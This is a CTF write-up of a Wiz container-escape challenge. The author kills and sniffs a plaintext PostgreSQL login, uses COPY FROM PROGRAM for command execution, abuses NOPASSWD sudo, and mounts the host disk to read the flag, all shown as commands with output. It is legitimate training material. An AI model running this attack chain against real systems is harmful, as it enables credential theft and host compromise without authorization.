WriteUp: Cloud Security Championship #2 - Contain Me If You Can
The second challenge of the Cloud Security Championship organized by Wiz is called Contain Me If You Can. This time we need to escape from a containerized environment to retrieve the flag located at /flag
on the host's filesystem.
Initial Reconnaissance
We start inside a container with a simple goal: escape to the host and grab the flag at /flag
. Time for some enumeration to understand what we're dealing with and find potential attack vectors.
Filesystem Analysis
Let's see what filesystems are mounted:
root@220705be2476:/# mount | head -10
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ALDXLW3XXQASE5RFYLV4J3P5SI:/var/lib/docker/overlay2/l/PUDUWBLOUV4KDA226EAPOCLY7U:/var/lib/docker/overlay2/l/DADW4QRM2QMV7JYQKZLCFHSXW3:/var/lib/docker/overlay2/l/FJGPNHG4APZTCSAAQUZTLVUW2O,upperdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/diff,workdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/vdb on /etc/resolv.conf type ext4 (rw,relatime)
/dev/vdb on /etc/hostname type ext4 (rw,relatime)
The overlayfs
root filesystem shows absolute host paths in the lowerdir
(look at those /var/lib/docker/overlay2/...
paths), which tells us where the host's Docker storage is. The /dev/vdb
mounts for config files also hint at some block device access.
Can we access the host's Docker storage directly?
root@220705be2476:/# ls -l /var/lib/docker
ls: cannot access '/var/lib/docker': No such file or directory
Nope. Even though the mount
output shows host Docker paths, they're not directly accessible from our container's root filesystem.
Block Device Analysis
root@220705be2476:/# lsblk
NAME
MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
vda 254:0 0 135.4M 1 disk
vdb 254:16 0 1G 0 disk /etc/hosts
/etc/hostname
/etc/resolv.conf
So lsblk
shows vda
and vdb
block devices, but the container's /dev
directory has a restricted view with no direct access to them. Typical container isolation at work.
Process and Namespace Analysis
root@220705be2476:/# ls /proc/1/root/
bin dev lib mnt root sbin.usr-is-merged tmp
bin.usr-is-merged etc lib64 opt run srv usr
boot home media proc sbin sys var
This looks promising! But wait, let's check more carefully:
root@220705be2476:/# ls -la /proc/1/root/ | grep docker
-rwxr-xr-x 1 root root 0 Aug 15 13:57 .dockerenv
Ah, there's the .dockerenv
file! This confirms that /proc/1/root
is actually the container's own root filesystem, not the host's. So we've got proper PID namespace isolation going on here.
Capability Assessment
Time to test the usual container escape techniques:
root@220705be2476:/# mount /dev/sda1 /mnt/host
mount: /mnt/host: mount point is not a directory.
dmesg(1) may have more information after failed mount system call.
root@220705be2476:/# nsenter --mount=/proc/1/ns/mnt sh
nsenter: reassociate to namespace 'ns/mnt' failed: Operation not permitted
root@220705be2476:/# unshare -U -m
unshare: unshare failed: Operation not permitted
All these failures tell us the container is missing CAP_SYS_ADMIN
, which blocks:
- Direct host filesystem mounting
- Namespace manipulation via
nsenter
- User namespace creation for OverlayFS exploits
What Didn't Work
After trying pretty much everything, these attack vectors were ruled out:
- Direct host access via
/var/lib/docker
paths - Process namespace escape via
/proc/<pid>/root
(due to PID isolation) - Kernel exploits like CVE-2023-0386 (missing
CAP_SYS_ADMIN
forunshare
) - Docker socket exploitation (socket not present in container)
- Common bind mounts (
/host
,/mnt
,/rootfs
were empty or non-existent) - Core pattern exploitation (permission denied for writing to
/proc/sys/kernel/core_pattern
)
The container seems properly locked down with standard security restrictions. Time to try other things...
Network Discovery: The Hidden Connection
Is there something else in the network?
root@220705be2476:/# netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 127.0.0.11:35211 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 172.19.0.3:44608 172.19.0.2:5432 ESTABLISHED - keepalive (0.00/0/0)
udp 0 0 127.0.0.11:50366 0.0.0.0:* - off (0.00/0/0)
Bingo! There's an established PostgreSQL connection to 172.19.0.2:5432
. Let's see what's going on there.
Credential Extraction via Traffic Manipulation
Let's start sniffing the traffic:
Initial Traffic Monitoring
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
15:19:22.004946 eth0 Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [P.], seq 2033206922:2033206941, ack 810919157, win 501, options [nop,nop,TS val 3447785403 ecr 4207817494], length 19
E..G|.@...&[email protected].....
......3.Q....SELECT now();.
15:19:22.005470 eth0 In IP postgres_db.user_db_network.postgresql > 220705be2476.44608: Flags [P.], seq 1:90, ack 19, win 509, options [nop,nop,TS val 4207822260 ecr 3447785403], length 89
E....^@[email protected]......
..E.....T......now...................D...'......2025-08-15 15:19:22.005312+00C....SELECT 1.Z....I
15:19:22.005481 eth0 Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [.], ack 90, win 501, options [nop,nop,TS val 3447785403 ecr 4207822260], length 0
E..4|.@...&[email protected].....
......E.
^C
3 packets captured
3 packets received by filter
0 packets dropped by kernel
We can see continuous SELECT now();
queries, so there's definitely an active authenticated session. Could that be in plain text? Time to kill the connection and try to catch the password during reconnection:
Connection Termination
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
tcpkill: listening on any [host 172.19.0.2 and port 5432]
172.19.0.3:44608 > 172.19.0.2:5432: R 810920190:810920190(0) win 0
172.19.0.3:44608 > 172.19.0.2:5432: R 810921192:810921192(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033207545:2033207545(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033208563:2033208563(0) win 0
172.19.0.3:50076 > 172.19.0.2:5432: R 1922576238:1922576238(0) win 0
172.19.0.3:50076 > 172.19.0.2:5432: R 1922576740:1922576740(0) win 0
With tcpdump
running in the background, we caught the plain-text authentication during reconnection:
Authentication Capture
...........=....user.user.database.mydatabase.application_name.psql..
15:21:07.016965 eth0 In IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 2:11, ack 70, win 509, options [nop,nop,TS val 4207927272 ecr 3447890414], length 9
[email protected]./oW.......X[.....
........R........
15:21:07.016988 eth0 Out IP 220705be2476.50076 > postgres_db.user_db_network.postgresql: Flags [P.], seq 70:100, ack 11, win 502, options [nop,nop,TS val 3447890415 ecr 4207927272], length 30
[email protected]#...........8W...r./x....Xp.....
........p....[REDACTED PASSWORD].
15:21:07.027202 eth0 In IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 11:418, ack 100, win 509, options [nop,nop,TS val 4207927282 ecr 3447890415], length 407
[email protected]./xW.......Y......
........R........S....in_hot_standby.off.S....integer_datetimes.on.S....TimeZone.UTC.S....IntervalStyle.postgres.S....is_superuser.on.S....application_name.psql.S...&default_transaction_read_only.off.S....scram_iterations.4096.S....DateStyle.ISO, MDY.S...#standard_conforming_strings.on.S....session_authorization.user.S....client_encoding.UTF8.S....server_version.16.8.S....server_encoding.UTF8.K..........6.Z....I
Perfect! We got the database credentials:
- Username:
user
- Password:
[REDACTED PASSWORD]
- Database:
mydatabase
PostgreSQL Access and Lateral Movement
Now we can connect directly to the PostgreSQL server:
root@220705be2476:/# psql -h 172.19.0.2 -U user -d mydatabase
Password for user user:
psql (16.9 (Ubuntu 16.9-0ubuntu0.24.04.1), server 16.8)
Type "help" for help.
mydatabase=# SELECT current_user;
current_user
--------------
user
(1 row)
Initial File Access Attempts
First instinct: can we just read the flag directly? Because why not π€·ββοΈ
mydatabase=# SELECT pg_read_file('/flag', 0, 200);
ERROR: could not open file "/flag" for reading: No such file or directory
Nope. The PostgreSQL server is also containerized and can't see the host's /flag
file. We've just moved from one container to another... π€¦ββοΈ
Command Execution via COPY FROM PROGRAM
Time to leverage PostgreSQL's COPY ... FROM PROGRAM
for some arbitrary command execution:
mydatabase=# CREATE TEMP TABLE output (line text);
COPY output FROM PROGRAM 'whoami && id';
SELECT * FROM output;
DROP TABLE output;
CREATE TABLE
COPY 2
line
-----------------------------------------------------------------
postgres
uid=70(postgres) gid=70(postgres) groups=10(wheel),70(postgres)
(2 rows)
DROP TABLE
Sweet! We're now executing commands as the postgres
user within the PostgreSQL container.
Privilege Escalation: The NOPASSWD Sudo Configuration
Let's check what SUID binaries are available:
mydatabase=# CREATE TEMP TABLE suid_check (line text);
COPY suid_check FROM PROGRAM 'find / -perm -4000 2>/dev/null | grep sudo';
SELECT * FROM suid_check;
DROP TABLE suid_check;
CREATE TABLE
COPY 1
line
---------------
/usr/bin/sudo
(1 row)
DROP TABLE
Nice! sudo
is available. Let's see what we can do with it:
mydatabase=# CREATE TEMP TABLE sudo_check (line text);
COPY sudo_check FROM PROGRAM 'sudo -l';
SELECT * FROM sudo_check;
DROP TABLE sudo_check;
CREATE TABLE
COPY 8
line
------------------------------------------------------------------------------
Matching Defaults entries for postgres on 032c93ff87db:
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Runas and Command-specific defaults for postgres:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User postgres may run the following commands on 032c93ff87db:
(ALL) NOPASSWD: ALL
(8 rows)
DROP TABLE
Jackpot!! π°π°π°
Sorry, we just came from our DEFCON workshop in Las Vegas π
The postgres
user can run any command as root without a password. That's a serious misconfiguration that just gave us root inside the PostgreSQL container.
Container Escape: From Database to Host
Now that we have root access inside the PostgreSQL container, it's time to break out to the host. But first, let's confirm we can access the host's init process:
Identifying the Host Process
mydatabase=# CREATE TEMP TABLE host_check (line text);
COPY host_check FROM PROGRAM 'sudo fuser -m /';
SELECT * FROM host_check;
DROP TABLE host_check;
CREATE TABLE
COPY 1
line
----------------------------------
1 14 15 17 18 19 3346 3634 4262
(1 row)
DROP TABLE
Perfect! We can see several PIDs including PID 1, confirming we have visibility into the host's processes. This indicates we can execute commands that will have access to the host's resources and namespaces.
Host Disk Discovery
Let's see how the host's disk layout looks like:
mydatabase=# CREATE TEMP TABLE disk_check (line text);
COPY disk_check FROM PROGRAM 'sudo fdisk -l';
SELECT * FROM disk_check;
DROP TABLE disk_check;
CREATE TABLE
COPY 10
line
-----------------------------------------------------------
Disk /dev/vda: 135 MB, 141975552 bytes, 277296 sectors
135 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Disk /dev/vda doesn't contain a valid partition table
Disk /dev/vdb: 1024 MB, 1073741824 bytes, 2097152 sectors
1024 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Disk /dev/vdb doesn't contain a valid partition table
(10 rows)
DROP TABLE
The host has two disks: /dev/vda
(135 MB) and /dev/vdb
(1024 MB). Since /dev/vdb
is used for ephemeral config files, /dev/vda
is probably our target.
Direct Disk Mounting
Now we can execute commands directly with host-level privileges and mount the primary disk:
mydatabase=# CREATE TEMP TABLE mount_ops (line text);
COPY mount_ops FROM PROGRAM 'sudo mkdir -p /mnt/host_root_disk';
COPY mount_ops FROM PROGRAM 'sudo mount /dev/vda /mnt/host_root_disk';
DROP TABLE mount_ops;
Flag Retrieval
Time for the moment of truth! Let's see what's on the host's disk:
mydatabase=# CREATE TEMP TABLE flag_search (line text);
COPY flag_search FROM PROGRAM 'sudo ls -la /mnt/host_root_disk';
SELECT * FROM flag_search;
DROP TABLE flag_search;
CREATE TABLE
COPY 28
line
-------------------------------------------------------------------------------
total 5
drwxr-xr-x 20 root root 352 Jul 31 15:25 .
drwxr-xr-x 1 root root 4096 Aug 15 15:45 ..
lrwxrwxrwx 1 root root 7 Jul 31 10:49 bin -> usr/bin
drwxr-xr-x 2 root root 3 Apr 18 2022 boot
drwxr-xr-x 4 root root 191 Apr 18 2022 dev
drwxr-xr-x 36 root root 1420 Jul 31 10:49 etc
-rw-r--r-- 1 root root 52 Jul 31 10:47 flag
drwxr-xr-x 3 root root 27 Jul 31 10:49 home
lrwxrwxrwx 1 root root 7 Jul 31 10:49 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 31 10:49 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Jul 31 10:49 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Jul 31 10:49 libx32 -> usr/libx32
drwx------ 2 root root 3 Jul 31 15:24 lost+found
drwxr-xr-x 2 root root 3 Jul 31 10:49 media
drwxr-xr-x 2 root root 3 Jul 31 10:49 mnt
drwxr-xr-x 3 root root 33 Jul 31 15:25 opt
drwxr-xr-x 4 root root 39 Jul 31 15:25 overlay
drwxr-xr-x 2 root root 3 Apr 18 2022 proc
drwxr-xr-x 2 root root 3 Jul 31 15:25 rom
drwx------ 2 root root 46 Jul 31 10:49 root
DROP TABLE
There it is! The flag file. Let's grab it:
mydatabase=# CREATE TEMP TABLE flag_content (line text);
COPY flag_content FROM PROGRAM 'sudo cat /mnt/host_root_disk/flag';
SELECT * FROM flag_content;
DROP TABLE flag_content;
CREATE TABLE
COPY 1
line
-----------------------------------------------------
WIZ_CTF{[REDACTED FLAG]}
(1 row)
DROP TABLE
And there we have it! π
Summary
This container escape worked through a multi-stage attack chain:
Stage 1: Network Reconnaissance
- Discovery of active PostgreSQL connection via
netstat
- Traffic sniffing to capture credentials
Stage 2: Lateral Movement
- PostgreSQL access using captured credentials
- Command execution via
COPY FROM PROGRAM
- Discovery of
sudo
NOPASSWD misconfiguration
Stage 3: Privilege Escalation
- Root access within PostgreSQL container
- Identification of host's init process (PID 1)
- Direct command execution with host-level access
Stage 4: Host Access
- Host disk discovery using direct command execution
- Direct mounting of host's primary disk
- Flag retrieval from mounted host filesystem
Conclusion
This challenge shows how containers that look isolated can actually become stepping stones in attack chains. Network reconnaissance led to database access, which led to privilege escalation, which led to container escape and finally host access.
The key takeaway? Defense in depth matters. Any single fix could have broken this entire chain: encrypted database connections, proper sudo configs, or better container isolation.
But luckily, this was a CTF challenge and we got the flag! π
Saludos, and may the force be with you.